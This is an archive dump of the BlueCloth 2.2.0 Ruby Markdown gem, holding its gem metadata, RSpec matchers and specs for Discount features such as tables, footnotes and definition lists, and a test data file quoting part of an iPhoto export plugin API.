bluecloth-2.2.0/0000755000175000017500000000000011665167136013066 5ustar boutilboutilbluecloth-2.2.0/metadata.yml0000644000175000017500000002166411665167136015402 0ustar boutilboutil--- !ruby/object:Gem::Specification name: bluecloth version: !ruby/object:Gem::Version version: 2.2.0 prerelease: platform: ruby authors: - Michael Granger autorequire: bindir: bin cert_chain: - ! '-----BEGIN CERTIFICATE----- MIIDLDCCAhSgAwIBAgIBADANBgkqhkiG9w0BAQUFADA8MQwwCgYDVQQDDANnZWQx FzAVBgoJkiaJk/IsZAEZFgdfYWVyaWVfMRMwEQYKCZImiZPyLGQBGRYDb3JnMB4X DTEwMDkxNjE0NDg1MVoXDTExMDkxNjE0NDg1MVowPDEMMAoGA1UEAwwDZ2VkMRcw FQYKCZImiZPyLGQBGRYHX2FlcmllXzETMBEGCgmSJomT8ixkARkWA29yZzCCASIw DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALy//BFxC1f/cPSnwtJBWoFiFrir h7RicI+joq/ocVXQqI4TDWPyF/8tqkvt+rD99X9qs2YeR8CU/YiIpLWrQOYST70J vDn7Uvhb2muFVqq6+vobeTkILBEO6pionWDG8jSbo3qKm1RjKJDwg9p4wNKhPuu8 KGue/BFb67KflqyApPmPeb3Vdd9clspzqeFqp7cUBMEpFS6LWxy4Gk+qvFFJBJLB BUHE/LZVJMVzfpC5Uq+QmY7B+FH/QqNndn3tOHgsPadLTNimuB1sCuL1a4z3Pepd TeLBEFmEao5Dk3K/Q8o8vlbIB/jBDTUx6Djbgxw77909x6gI9doU4LD5XMcCAwEA AaM5MDcwCQYDVR0TBAIwADALBgNVHQ8EBAMCBLAwHQYDVR0OBBYEFJeoGkOr9l4B +saMkW/ZXT4UeSvVMA0GCSqGSIb3DQEBBQUAA4IBAQBG2KObvYI2eHyyBUJSJ3jN vEnU3d60znAXbrSd2qb3r1lY1EPDD3bcy0MggCfGdg3Xu54z21oqyIdk8uGtWBPL HIa9EgfFGSUEgvcIvaYqiN4jTUtidfEFw+Ltjs8AP9gWgSIYS6Gr38V0WGFFNzIH aOD2wmu9oo/RffW4hS/8GuvfMzcw7CQ355wFR4KB/nyze+EsZ1Y5DerCAagMVuDQ U0BLmWDFzPGGWlPeQCrYHCr+AcJz+NRnaHCKLZdSKj/RHuTOt+gblRex8FAh8NeA cmlhXe46pZNJgWKbxZah85jIjx95hR8vOI+NAM5iH9kOqK13DrxacTKPhqj5PjwF -----END CERTIFICATE----- ' date: 2011-11-01 00:00:00.000000000 Z dependencies: - !ruby/object:Gem::Dependency name: hoe-mercurial requirement: &70270530990420 !ruby/object:Gem::Requirement none: false requirements: - - ~> - !ruby/object:Gem::Version version: 1.3.1 type: :development prerelease: false version_requirements: *70270530990420 - !ruby/object:Gem::Dependency name: hoe-highline requirement: &70270530988960 !ruby/object:Gem::Requirement none: false requirements: - - ~> - !ruby/object:Gem::Version version: 0.0.1 type: :development prerelease: false version_requirements: *70270530988960 - !ruby/object:Gem::Dependency name: tidy-ext requirement: &70270530988200 !ruby/object:Gem::Requirement none: false requirements: - - ~> - !ruby/object:Gem::Version version: '0.1' type: :development prerelease: false version_requirements: *70270530988200 - !ruby/object:Gem::Dependency name: rake-compiler requirement: &70270530987400 !ruby/object:Gem::Requirement none: false requirements: - - ~> - !ruby/object:Gem::Version version: '0.7' type: :development prerelease: false version_requirements: *70270530987400 - !ruby/object:Gem::Dependency name: rspec requirement: &70270530986380 !ruby/object:Gem::Requirement none: false requirements: - - ~> - !ruby/object:Gem::Version version: '2.6' type: :development prerelease: false version_requirements: *70270530986380 - !ruby/object:Gem::Dependency name: hoe requirement: &70270530985380 !ruby/object:Gem::Requirement none: false requirements: - - ~> - !ruby/object:Gem::Version version: '2.12' type: :development prerelease: false version_requirements: *70270530985380 description: ! "BlueCloth is a Ruby implementation of John Gruber's\nMarkdown[http://daringfireball.net/projects/markdown/], a text-to-HTML\nconversion tool for web writers. To quote from the project page: Markdown\nallows you to write using an easy-to-read, easy-to-write plain text format,\nthen convert it to structurally valid XHTML (or HTML).\n\nIt borrows a naming convention and several helpings of interface from\n{Redcloth}[http://redcloth.org/], Why the Lucky Stiff's processor for a\nsimilar text-to-HTML conversion syntax called\nTextile[http://www.textism.com/tools/textile/].\n\nBlueCloth 2 is a complete rewrite using David Parsons'\nDiscount[http://www.pell.portland.or.us/~orc/Code/discount/] library, a C\nimplementation of Markdown. I rewrote it using the extension for speed and\naccuracy; the original BlueCloth was a straight port from the Perl version\nthat I wrote in a few days for my own use just to avoid having to shell out to\nMarkdown.pl, and it was quite buggy and slow. I apologize to all the good\npeople that sent me patches for it that were never released.\n\nNote that the new gem is called 'bluecloth' and the old one 'BlueCloth'. If\nyou have both installed, you can ensure you're loading the new one with the\n'gem' directive:\n\n\t# Load the 2.0 version\n\tgem 'bluecloth', '>= 2.0.0'\n\t\n\t# Load the 1.0 version\n\tgem 'BlueCloth'\n\trequire 'bluecloth'" email: - ged@FaerieMUD.org executables: - bluecloth extensions: - ext/extconf.rb extra_rdoc_files: - Manifest.txt - README.rdoc - History.rdoc files: - .gemtest - .rspec - History.rdoc - LICENSE - LICENSE.discount - Manifest.txt - README.rdoc - Rakefile - bin/bluecloth - bluecloth.1.pod - ext/Csio.c - ext/VERSION - ext/amalloc.h - ext/bluecloth.c - ext/bluecloth.h - ext/config.h - ext/css.c - ext/cstring.h - ext/docheader.c - ext/emmatch.c - ext/extconf.rb - ext/generate.c - ext/html5.c - ext/markdown.c - ext/markdown.h - ext/mkdio.c - ext/mkdio.h - ext/resource.c - ext/setup.c - ext/tags.c - ext/tags.h - ext/version.c - ext/xml.c - ext/xmlpage.c - lib/bluecloth.rb - man/man1/bluecloth.1 - spec/bluecloth/101_changes_spec.rb - spec/bluecloth/TEMPLATE - spec/bluecloth/autolinks_spec.rb - spec/bluecloth/blockquotes_spec.rb - spec/bluecloth/code_spans_spec.rb - spec/bluecloth/emphasis_spec.rb - spec/bluecloth/entities_spec.rb - spec/bluecloth/hrules_spec.rb - spec/bluecloth/images_spec.rb - spec/bluecloth/inline_html_spec.rb - spec/bluecloth/links_spec.rb - spec/bluecloth/lists_spec.rb - spec/bluecloth/paragraphs_spec.rb - spec/bluecloth/titles_spec.rb - spec/bluecloth_spec.rb - spec/bugfix_spec.rb - spec/contributions_spec.rb - spec/data/antsugar.txt - spec/data/markdowntest/Amps and angle encoding.html - spec/data/markdowntest/Amps and angle encoding.text - spec/data/markdowntest/Auto links.html - spec/data/markdowntest/Auto links.text - spec/data/markdowntest/Backslash escapes.html - spec/data/markdowntest/Backslash escapes.text - spec/data/markdowntest/Blockquotes with code blocks.html - spec/data/markdowntest/Blockquotes with code blocks.text - spec/data/markdowntest/Code Blocks.html - spec/data/markdowntest/Code Blocks.text - spec/data/markdowntest/Code Spans.html - spec/data/markdowntest/Code Spans.text - spec/data/markdowntest/Hard-wrapped paragraphs with list-like lines.html - spec/data/markdowntest/Hard-wrapped paragraphs with list-like lines.text - spec/data/markdowntest/Horizontal rules.html - spec/data/markdowntest/Horizontal rules.text - spec/data/markdowntest/Inline HTML (Advanced).html - spec/data/markdowntest/Inline HTML (Advanced).text - spec/data/markdowntest/Inline HTML (Simple).html - spec/data/markdowntest/Inline HTML (Simple).text - spec/data/markdowntest/Inline HTML comments.html - spec/data/markdowntest/Inline HTML comments.text - spec/data/markdowntest/Links, inline style.html - spec/data/markdowntest/Links, inline style.text - spec/data/markdowntest/Links, reference style.html - spec/data/markdowntest/Links, reference style.text - spec/data/markdowntest/Links, shortcut references.html - spec/data/markdowntest/Links, shortcut references.text - spec/data/markdowntest/Literal quotes in titles.html - spec/data/markdowntest/Literal quotes in titles.text - spec/data/markdowntest/Markdown Documentation - Basics.html - spec/data/markdowntest/Markdown Documentation - Basics.text - spec/data/markdowntest/Markdown Documentation - Syntax.html - spec/data/markdowntest/Markdown Documentation - Syntax.text - spec/data/markdowntest/Nested blockquotes.html - spec/data/markdowntest/Nested blockquotes.text - spec/data/markdowntest/Ordered and unordered lists.html - spec/data/markdowntest/Ordered and unordered lists.text - spec/data/markdowntest/Strong and em together.html - spec/data/markdowntest/Strong and em together.text - spec/data/markdowntest/Tabs.html - spec/data/markdowntest/Tabs.text - spec/data/markdowntest/Tidyness.html - spec/data/markdowntest/Tidyness.text - spec/data/ml-announce.txt - spec/data/re-overflow.txt - spec/data/re-overflow2.txt - spec/discount_spec.rb - spec/lib/constants.rb - spec/lib/helpers.rb - spec/lib/matchers.rb - spec/markdowntest_spec.rb homepage: http://deveiate.org/projects/BlueCloth licenses: - BSD post_install_message: rdoc_options: - --main - README.rdoc require_paths: - lib required_ruby_version: !ruby/object:Gem::Requirement none: false requirements: - - ! '>=' - !ruby/object:Gem::Version version: 1.8.7 required_rubygems_version: !ruby/object:Gem::Requirement none: false requirements: - - ! '>=' - !ruby/object:Gem::Version version: '0' requirements: [] rubyforge_project: bluecloth rubygems_version: 1.8.10 signing_key: specification_version: 3 summary: BlueCloth is a Ruby implementation of John Gruber's Markdown[http://daringfireball.net/projects/markdown/], a text-to-HTML conversion tool for web writers test_files: [] bluecloth-2.2.0/spec/0000755000175000017500000000000011665167136014020 5ustar boutilboutilbluecloth-2.2.0/spec/markdowntest_spec.rb0000644000175000017500000000201411665167136020076 0ustar boutilboutil#!/usr/bin/env ruby BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'tidy' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "-- MarkdownTest 1.0.3: " do markdowntest_dir = Pathname.new( __FILE__ ).dirname + 'data/markdowntest' pattern = markdowntest_dir + '*.text' Pathname.glob( pattern.to_s ).each do |textfile| resultfile = Pathname.new( textfile.to_s.sub(/\.text/, '.html') ) it textfile.basename( '.text' ) do markdown = textfile.read expected = resultfile.read options = { :smartypants => false } the_markdown( markdown, options ).should be_transformed_into_normalized_html( expected ) end end end bluecloth-2.2.0/spec/lib/0000755000175000017500000000000011665167136014566 5ustar boutilboutilbluecloth-2.2.0/spec/lib/matchers.rb0000644000175000017500000001437011665167136016726 0ustar boutilboutil#!/usr/bin/env ruby require 'bluecloth' require 'tidy' require 'diff/lcs' require 'diff/lcs/callbacks' require 'spec/lib/constants' ### Expectation matcher classes/functions module BlueCloth::Matchers ### Matcher for comparing output of a BlueCloth-generated HTML fragment against a known-good ### string. class TransformMatcher ### Create a new matcher for the given +html+ def initialize( html ) @html = html end ### Strip tab indentation from the expected HTML output. def without_indentation if indent = @html[/\A\t+/] indent.gsub!( /\A\n/m, '' ) @html.gsub!( /^#{indent}/m, '' ) end return self end ### Returns true if the HTML generated by the given +bluecloth+ object matches the ### expected HTML, comparing only the salient document structures. def matches?( bluecloth ) @bluecloth = bluecloth @output_html = bluecloth.to_html.gsub( /\n\n\n/, "\n\n" ) return @output_html.strip == @html.strip end ### Build a failure message for the matching case. def failure_message if self.should_output_html? patch = self.make_html_patch( @html, @output_html ) return %{

Expected the generated html:

#@output_html
to be the same as:
#@html

Diffs:

#{patch} } else patch = self.make_patch( @html, @output_html ) return ("Expected the generated html:\n\n %p\n\nto be the same as:\n\n" + " %p\n\nDiffs:\n\n%s") % [ @output_html, @html, patch ] end end ### Build a failure message for the non-matching case. def negative_failure_message return "Expected the generated html:\n\n %p\n\nnot to be the same as:\n\n %p\n\n" % [ @output_html, @html ] end ### Returns true if it appears HTML output should be used instead of plain-text. This ### will be true if running from TextMate or if the HTML_LOGGING environment variable ### is set. def should_output_html? return false # return ENV['HTML_LOGGING'] || # (ENV['TM_FILENAME'] && ENV['TM_FILENAME'] =~ /_spec\.rb/) end ### Compute a patch between the given +expected+ output and the +actual+ output ### and return it as a string. def make_patch( expected, actual ) diffs = Diff::LCS.sdiff( expected.split("\n"), actual.split("\n"), Diff::LCS::ContextDiffCallbacks ) maxcol = diffs.flatten. collect {|d| [d.old_element.to_s.length, d.new_element.to_s.length ] }. flatten.max || 0 maxcol += 4 patch = " %#{maxcol}s | %s\n" % [ "Expected", "Actual" ] patch << diffs.collect do |changeset| changeset.collect do |change| "%s [%03d, %03d]: %#{maxcol}s | %-#{maxcol}s" % [ change.action, change.old_position, change.new_position, change.old_element.inspect, change.new_element.inspect, ] end.join("\n") end.join("\n---\n") end ### Compute a patch similar to #make_patch, but output HTML instead of plain text. def make_html_patch( expected, actual ) diffs = Diff::LCS.sdiff( expected.split("\n"), actual.split("\n"), Diff::LCS::ContextDiffCallbacks ) patch = %{ } patch << diffs.collect do |changeset| changeset.collect do |change| "" % [ change.action, change.old_position, change.new_position, change.old_element.inspect, change.new_element.inspect, ] end.join("\n") end.join( "" ) patch << %{
Diffs
OpPosExpectedActual
%s[%03d, %03d]%s%s
\n} end end ### Variant of the regular TransformMatcher that normalizes the two strings using the 'tidy' ### library before comparing. class TidyTransformMatcher < TransformMatcher TIDY_OPTIONS = {} ### Set the matcher's expected output to a tidied version of the input +html+. def initialize( html ) @tidy = Tidy.open( TIDY_OPTIONS ) @html = @tidy.clean( html ) end ### Returns true if the HTML generated by the given +bluecloth+ object matches the ### expected HTML after normalizing them both with 'tidy'. def matches?( bluecloth ) @bluecloth = bluecloth @output_html = @tidy.clean( bluecloth.to_html ) return @output_html == @html end end class TransformRegexpMatcher ### Create a new matcher for the given +regexp+ def initialize( regexp ) @regexp = regexp end ### Returns true if the regexp associated with this matcher matches the output generated ### by the specified +bluecloth+ object. def matches?( bluecloth ) @bluecloth = bluecloth @output_html = bluecloth.to_html return @output_html =~ @regexp end ### Build a failure message for the matching case. def failure_message return "Expected the generated html:\n\n %pto match the regexp:\n\n%p\n\n" % [ @output_html, @regexp ] end ### Build a failure message for the negative matching case. def negative_failure_message return "Expected the generated html:\n\n %pnot to match the regexp:\n\n%p\n\n" % [ @output_html, @regexp ] end end ### Create a new BlueCloth object out of the given +string+ and +options+ and ### return it. def the_markdown( string, *options ) return BlueCloth.new( string, *options ) end ### Strip indentation from the given +string+, create a new BlueCloth object ### out of the result and any +options+, and return it. def the_indented_markdown( string, *options ) if indent = string[/\A\t+/] indent.gsub!( /\A\n/m, '' ) $stderr.puts "Source indent is: %p" % [ indent ] if $DEBUG string.gsub!( /^#{indent}/m, '' ) end return BlueCloth.new( string, *options ) end ### Generate a matcher that expects to equal the given +html+. def be_transformed_into( html ) return BlueCloth::Matchers::TransformMatcher.new( html ) end ### Generate a matcher that expects to match a normalized version of the specified +html+. def be_transformed_into_normalized_html( html ) return BlueCloth::Matchers::TidyTransformMatcher.new( html ) end ### Generate a matcher that expects to match the given +regexp+. def be_transformed_into_html_matching( regexp ) return BlueCloth::Matchers::TransformMatcher.new( regexp ) end end # module BlueCloth::Matchers bluecloth-2.2.0/spec/lib/helpers.rb0000644000175000017500000000160311665167136016555 0ustar boutilboutil#!/usr/bin/ruby # encoding: utf-8 require 'rspec' require 'bluecloth' require 'spec/lib/constants' require 'spec/lib/matchers' module BlueCloth::SpecHelpers include BlueCloth::Matchers ############### module_function ############### ### Make an easily-comparable version vector out of +ver+ and return it. def vvec( ver ) return ver.split('.').collect {|char| char.to_i }.pack('N*') end end # module BlueCloth::SpecHelpers abort "You need a version of RSpec >= 2.6.0" unless defined?( RSpec ) ### Mock with Rspec RSpec.configure do |c| c.mock_with :rspec c.include( BlueCloth::SpecHelpers ) c.include( BlueCloth::Matchers ) c.filter_run_excluding( :ruby_19_only => true ) if BlueCloth::SpecHelpers.vvec( RUBY_VERSION ) < BlueCloth::SpecHelpers.vvec('1.9.0') c.filter_run_excluding( :pedantic => true ) unless ENV['MAINTAINER_MODE'] end # vim: set nosta noet ts=4 sw=4: bluecloth-2.2.0/spec/lib/constants.rb0000644000175000017500000000006511665167136017130 0ustar boutilboutil#!/usr/bin/ruby module BlueCloth::TestConstants endbluecloth-2.2.0/spec/discount_spec.rb0000644000175000017500000002614411665167136017216 0ustar boutilboutil#!/usr/bin/env ruby #coding: utf-8 BEGIN { require 'pathname' basedir = Pathname.new( __FILE__ ).dirname.parent libdir = basedir + 'lib' $LOAD_PATH.unshift( basedir ) unless $LOAD_PATH.include?( basedir ) $LOAD_PATH.unshift( libdir ) unless $LOAD_PATH.include?( libdir ) } require 'rspec' require 'bluecloth' require 'spec/lib/helpers' ##################################################################### ### C O N T E X T S ##################################################################### describe BlueCloth, "implementation of Discount-specific features" do before( :all ) do @basedir = Pathname.new( __FILE__ ).dirname.parent @datadir = @basedir + 'spec/data' end describe "pseudo-protocols" do it "renders abbr: links as phrases" do the_indented_markdown( <<-"---", :pseudoprotocols => true ).should be_transformed_into(<<-"---").without_indentation The [ASPCA](abbr:American Society for the Prevention of Cruelty to Animals). ---

The ASPCA.

--- end it "renders id: links as anchors with an ID" do the_markdown( "[foo](id:bar)", :pseudoprotocols => true ). should be_transformed_into( '

foo

' ) end it "renders class: links as SPANs with a CLASS" do the_markdown( "[foo](class:bar)", :pseudoprotocols => true ). should be_transformed_into( '

foo

' ) end it "renders raw: links as-is with no syntax expansion" do the_markdown( "[foo](raw:bar)", :pseudoprotocols => true ). should be_transformed_into( '

bar

' ) end it "renders lang: links as language-specified blocks" do the_markdown( "[gift](lang:de)", :pseudoprotocols => true ). should be_transformed_into( '

gift

' ) end end describe "Markdown-Extra tables" do it "doesn't try to render tables if :tables isn't set" do the_indented_markdown( <<-"END_MARKDOWN" ).should be_transformed_into(<<-"END_HTML").without_indentation a | b -----|----- hello|sailor END_MARKDOWN

a | b -----|----- hello|sailor

END_HTML end it "renders the example from orc's blog" do the_indented_markdown( <<-"END_MARKDOWN", :tables => true ).should be_transformed_into(<<-"END_HTML").without_indentation a | b -----|----- hello|sailor END_MARKDOWN
a b
hello sailor
END_HTML end it "renders simple markdown-extra tables" do the_indented_markdown( <<-"END_MARKDOWN", :tables => true ).should be_transformed_into(<<-"END_HTML").without_indentation First Header | Second Header ------------- | ------------- Content Cell | Content Cell END_MARKDOWN
First Header Second Header
Content Cell Content Cell
END_HTML end it "renders tables with leading and trailing pipes", :pedantic => true do pending "Discount doesn't support this kind (yet?)" do the_indented_markdown( <<-"END_MARKDOWN", :tables => true ).should be_transformed_into(<<-"END_HTML").without_indentation | First Header | Second Header | | ------------- | ------------- | | Content Cell | Content Cell | | Content Cell | Content Cell | END_MARKDOWN
First Header Second Header
Content Cell Content Cell
Content Cell Content Cell
END_HTML end end it "renders tables with aligned columns", :pedantic => true do pending "Discount doesn't support this kind (yet?)" do the_indented_markdown( <<-"END_MARKDOWN", :tables => true ).should be_transformed_into(<<-"END_HTML").without_indentation | Item | Value | | --------- | -----:| | Computer | $1600 | | Phone | $12 | | Pipe | $1 | END_MARKDOWN
Item Value
Computer $1600
Phone $12
Pipe $1
END_HTML end end end describe "tilde strike-through" do it "doesn't render tilde-bracketed test when :strikethrough isn't set" do the_markdown( "~~cancelled~~" ). should be_transformed_into( '

~~cancelled~~

' ) end it "renders double tilde-bracketed text as strikethrough" do the_markdown( "~~cancelled~~", :strikethrough => true ). should be_transformed_into( '

cancelled

' ) end it "renders tilde-bracketed text for tilde-brackets of more than two tildes" do the_markdown( "~~~~cancelled~~~~", :strikethrough => true ). should be_transformed_into( '

cancelled

' ) end it "includes extra tildes in tilde-bracketed text" do the_markdown( "~~~cancelled~~", :strikethrough => true ). should be_transformed_into( '

~cancelled

' ) end end describe "definition lists" do describe "(discount style)" do it "aren't rendered by default" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation =hey!= This is a definition list ---

=hey!=

This is a definition list
				
--- end it "are rendered if the :definition_lists option is true" do the_indented_markdown( <<-"---", :definition_lists => true ).should be_transformed_into(<<-"---").without_indentation =hey!= This is a definition list ---
hey!
This is a definition list
--- end it "supports multiple-term list items" do the_indented_markdown( <<-"---", :definition_lists => true ).should be_transformed_into(<<-"---").without_indentation =tag1= =tag2= data. ---
tag1
tag2
data.
--- end end describe "(markdown-extra style)" do it "aren't rendered by default" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation Apple : Pomaceous fruit of plants of the genus Malus in the family Rosaceae. Orange : The fruit of an evergreen tree of the genus Citrus. ---

Apple : Pomaceous fruit of plants of the genus Malus in

the family Rosaceae.
				

Orange : The fruit of an evergreen tree of the genus Citrus.

--- end it "are rendered if the :definition_lists option is true" do the_indented_markdown( <<-"---", :definition_lists => true ).should be_transformed_into(<<-"---").without_indentation Apple : Pomaceous fruit of plants of the genus Malus in the family Rosaceae. Orange : The fruit of an evergreen tree of the genus Citrus. ---
Apple
Pomaceous fruit of plants of the genus Malus in the family Rosaceae.
Orange
The fruit of an evergreen tree of the genus Citrus.
--- end it "are rendered if the :definition_lists option is true" do the_indented_markdown( <<-"---", :definition_lists => true ).should be_transformed_into(<<-"---").without_indentation Apple : Pomaceous fruit of plants of the genus Malus in the family Rosaceae. Orange : The fruit of an evergreen tree of the genus Citrus. ---
Apple
Pomaceous fruit of plants of the genus Malus in the family Rosaceae.
Orange
The fruit of an evergreen tree of the genus Citrus.
--- end end end describe "footnotes" do it "aren't rendered by default" do the_indented_markdown( <<-"---" ).should be_transformed_into(<<-"---").without_indentation That's some text with a footnote.[^1] [^1]: And that's the footnote. ---

That's some text with a footnote.^1

--- end it "are rendered if the :footnotes option is true" do the_indented_markdown( <<-"---", :footnotes => true ).should be_transformed_into(<<-"---").without_indentation That's some text with a footnote.[^1] [^1]: And that's the footnote. ---

That's some text with a footnote.1


  1. And that’s the footnote.

--- end it "renders a second link to the same footnote as plain text" do the_indented_markdown( <<-"---", :footnotes => true ).should be_transformed_into(<<-"---").without_indentation That's some text with a footnote.[^afootnote] And here's another.[^afootnote] [^afootnote]: And that's the footnote. ---

That's some text with a footnote.1 And here's another.[^afootnote]


  1. And that’s the footnote.

--- end it "support multiple block-level elements via indentation", :pedantic => true do pending "not yet implemented by Discount" do the_indented_markdown( <<-"---", :footnotes => true ).should be_transformed_into(<<-"---").without_indentation That's some text with a footnote.[^1] [^1]: And that's the footnote. That's the second paragraph. ---

That's some text with a footnote.1


  1. And that’s the footnote.

    That’s the second paragraph.

--- end end it "support multiple block-level elements with an empty first line", :pedantic => true do pending "not yet implemented by Discount" do the_indented_markdown( <<-"---", :footnotes => true ).should be_transformed_into(<<-"---").without_indentation That's some text with a footnote.[^cows] [^cows]: And that's the footnote. That's the second paragraph. ---

That's some text with a footnote.1


  1. And that's the footnote.

    That's the second paragraph. 

--- end end end end __END__ bluecloth-2.2.0/spec/data/0000755000175000017500000000000011665167136014731 5ustar boutilboutilbluecloth-2.2.0/spec/data/re-overflow2.txt0000644000175000017500000002306211665167136020026 0ustar boutilboutiliFotobilder will be an iPhoto export plugin that will let you manage your Fotobilder pictures through iPhoto. ## Getting Started Since iPhoto's APIs aren't public, and because my Objective C is extremely rusty, I wanted a couple of examples of other people's plugins before I dove into this. Here's what I found: * [Writing Plugins for Cocoa][1] [1]: http://www.stone.com/The_Cocoa_Files/Writing_PlugIns.html ## The iPhoto Export API Using the `class-dump` tool, I dumped the export API: /* * Generated by class-dump 3.0. * * class-dump is Copyright (C) 1997-1998, 2000-2001, 2004 by Steve Nygard. */ /* * File: /Applications/iPhoto.app/Contents/MacOS/iPhoto */ @protocol ExportImageProtocol - (unsigned int)imageCount; - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp20; - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; - (unsigned int)imageFormatAtIndex:(unsigned int)fp16; - (id)imageCaptionAtIndex:(unsigned int)fp16; - (id)imagePathAtIndex:(unsigned int)fp16; - (id)thumbnailPathAtIndex:(unsigned int)fp16; - (id)imageDictionaryAtIndex:(unsigned int)fp16; - (float)imageAspectRatioAtIndex:(unsigned int)fp16; - (id)albumName; - (id)albumMusicPath; - (unsigned int)albumCount; - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp16; - (id)window; - (void)enableControls; - (void)disableControls; - (void)clickExport; - (void)startExport; - (void)cancelExport; - (void)cancelExportBeforeBeginning; - (id)directoryPath; - (id)temporaryDirectory; - (BOOL)doesFileExist:(id)fp16; - (BOOL)doesDirectoryExist:(id)fp16; - (BOOL)createDir:(id)fp16; - (id)uniqueSubPath:(id)fp12 child:(id)fp20; - (id)makeUniquePath:(id)fp16; - (id)makeUniqueFilePath:(id)fp12 extension:(id)fp20; - (id)makeUniqueFileNameWithTime:(id)fp16; - (BOOL)makeFSSpec:(id)fp12 spec:(struct FSSpec *)fp20; - (id)pathForFSSpec:(id)fp16; - (BOOL)getFSRef:(struct FSRef *)fp12 forPath:(id)fp16 isDirectory:(BOOL)fp27; - (id)pathForFSRef:(struct FSRef *)fp16; - (unsigned long)countFiles:(id)fp12 descend:(BOOL)fp23; - (unsigned long)countFilesFromArray:(id)fp12 descend:(BOOL)fp23; - (unsigned long long)sizeAtPath:(id)fp12 count:(unsigned long *)fp16 physical:(BOOL)fp27; - (BOOL)isAliasFileAtPath:(id)fp16; - (id)pathContentOfAliasAtPath:(id)fp16; - (id)stringByResolvingAliasesInPath:(id)fp16; - (BOOL)ensurePermissions:(unsigned long)fp12 forPath:(id)fp20; - (id)validFilename:(id)fp16; - (id)getExtensionForImageFormat:(unsigned int)fp16; - (unsigned int)getImageFormatForExtension:(id)fp16; - (struct OpaqueGrafPtr *)uncompressImage:(id)fp12 size:(struct _NSSize)fp16 pixelFormat:(unsigned int)fp24 rotation:(float)fp32; - (void *)createThumbnailer; - (void *)retainThumbnailer:(void *)fp16; - (void *)autoreleaseThumbnailer:(void *)fp16; - (void)releaseThumbnailer:(void *)fp16; - (void)setThumbnailer:(void *)fp16 maxBytes:(unsigned int)fp20 maxWidth:(unsigned int)fp24 maxHeight:(unsigned int)fp32; - (struct _NSSize)thumbnailerMaxBounds:(void *)fp16; - (void)setThumbnailer:(void *)fp12 quality:(int)fp20; - (int)thumbnailerQuality:(void *)fp16; - (void)setThumbnailer:(void *)fp12 rotation:(float)fp20; - (float)thumbnailerRotation:(void *)fp16; - (void)setThumbnailer:(void *)fp12 outputFormat:(unsigned int)fp20; - (unsigned int)thumbnailerOutputFormat:(void *)fp16; - (void)setThumbnailer:(void *)fp12 outputExtension:(id)fp20; - (id)thumbnailerOutputExtension:(void *)fp16; - (BOOL)thumbnailer:(void *)fp16 createThumbnail:(id)fp20 dest:(id)fp28; - (struct _NSSize)lastImageSize:(void *)fp20; - (struct _NSSize)lastThumbnailSize:(void *)fp16; @end @protocol ExportPluginBoxProtocol - (BOOL)performKeyEquivalent:(id)fp16; @end @protocol ExportPluginProtocol - (id)initWithExportImageObj:(id)fp16; - (id)settingsView; - (id)firstView; - (id)lastView; - (void)viewWillBeActivated; - (void)viewWillBeDeactivated; - (id)requiredFileType; - (BOOL)wantsDestinationPrompt; - (id)getDestinationPath; - (id)defaultFileName; - (id)defaultDirectory; - (BOOL)treatSingleSelectionDifferently; - (BOOL)validateUserCreatedPath:(id)fp16; - (void)clickExport; - (void)startExport:(id)fp16; - (void)performExport:(id)fp16; - (CDAnonymousStruct12 *)progress; - (void)lockProgress; - (void)unlockProgress; - (void)cancelExport; - (id)name; - (id)description; @end @interface ExportController : NSObject { id mWindow; id mExportView; id mExportButton; id mImageCount; ExportMgr *mExportMgr; ExportMgrRec *mCurrentPluginRec; ProgressController *mProgressController; BOOL mCancelExport; NSTimer *mTimer; NSString *mDirectoryPath; } - (void)awakeFromNib; - (void)dealloc; - (id)currentPlugin; - (id)currentPluginRec; - (void)setCurrentPluginRec:(id)fp12; - (id)directoryPath; - (void)setDirectoryPath:(id)fp12; - (void)show; - (void)_openPanelDidEnd:(id)fp12 returnCode:(int)fp16 contextInfo:(void *)fp20; - (id)panel:(id)fp12 userEnteredFilename:(id)fp16 confirmed:(BOOL)fp20; - (BOOL)panel:(id)fp12 shouldShowFilename:(id)fp16; - (BOOL)panel:(id)fp12 isValidFilename:(id)fp16; - (BOOL)filesWillFitOnDisk; - (void)export:(id)fp12; - (void)_exportThread:(id)fp12; - (void)_exportProgress:(id)fp12; - (void)startExport:(id)fp12; - (void)finishExport; - (void)cancelExport; - (void)cancel:(id)fp12; - (void)enableControls; - (id)window; - (void)disableControls; - (void)tabView:(id)fp12 willSelectTabViewItem:(id)fp16; - (void)tabView:(id)fp12 didSelectTabViewItem:(id)fp16; - (void)selectExporter:(id)fp12; - (id)exportView; - (BOOL)_hasPlugins; - (void)_resizeExporterToFitView:(id)fp12; - (void)_updateImageCount; @end @interface ExportMgr : NSObject { ArchiveDocument *mDocument; NSMutableArray *mExporters; Album *mExportAlbum; NSArray *mSelection; ExportController *mExportController; } + (id)exportMgr; + (id)exportMgrNoAlloc; - (id)init; - (void)dealloc; - (void)releasePlugins; - (void)setExportController:(id)fp12; - (id)exportController; - (void)setDocument:(id)fp12; - (id)document; - (void)updateDocumentSelection; - (unsigned int)count; - (id)recAtIndex:(unsigned int)fp12; - (void)scanForExporters; - (unsigned int)imageCount; - (BOOL)imageIsPortraitAtIndex:(unsigned int)fp12; - (id)imagePathAtIndex:(unsigned int)fp12; - (struct _NSSize)imageSizeAtIndex:(unsigned int)fp16; - (unsigned int)imageFormatAtIndex:(unsigned int)fp12; - (id)imageCaptionAtIndex:(unsigned int)fp12; - (id)thumbnailPathAtIndex:(unsigned int)fp12; - (id)imageDictionaryAtIndex:(unsigned int)fp12; - (float)imageAspectRatioAtIndex:(unsigned int)fp12; - (id)albumName; - (id)albumMusicPath; - (unsigned int)albumCount; - (unsigned int)albumPositionOfImageAtIndex:(unsigned int)fp12; - (id)imageRecAtIndex:(unsigned int)fp12; - (id)currentAlbum; - (void)enableControls; - (void)disableControls; - (id)window; - (void)clickExport; - 